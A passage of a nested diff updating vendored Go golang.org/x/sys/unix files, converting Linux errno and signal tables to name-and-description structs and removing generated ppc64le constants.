-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 58: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {58, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go
-index ad29c3d3..4231b20b 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go
-@@ -3,7 +3,7 @@
-
- // +build ppc64le,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1930 +11,549 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x17
-- B110 = 0x3
-- B115200 = 0x11
-- B1152000 = 0x18
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x19
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x1a
-- B230400 = 0x12
-- B2400 = 0xb
-- B2500000 = 0x1b
-- B300 = 0x7
-- B3000000 = 0x1c
-- B3500000 = 0x1d
-- B38400 = 0xf
-- B4000000 = 0x1e
-- B460800 = 0x13
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x14
-- B57600 = 0x10
-- B576000 = 0x15
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x16
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1f
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x8000
-- BSDLY = 0x8000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0xff
-- CBAUDEX = 0x0
-- CFLUSH = 0xf
-- CIBAUD = 0xff0000
-- CLOCAL = 0x8000
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x1000
-- CR2 = 0x2000
-- CR3 = 0x3000
-- CRDLY = 0x3000
-- CREAD = 0x800
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x100
-- CS7 = 0x200
-- CS8 = 0x300
-- CSIGNAL = 0xff
-- CSIZE = 0x300
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x400
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x40
-- ECHOE = 0x2
-- ECHOK = 0x4
-- ECHOKE = 0x1
-- ECHONL = 0x10
-- ECHOPRT = 0x20
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x4000
-- FFDLY = 0x4000
-- FLUSHO = 0x800000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0xd
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
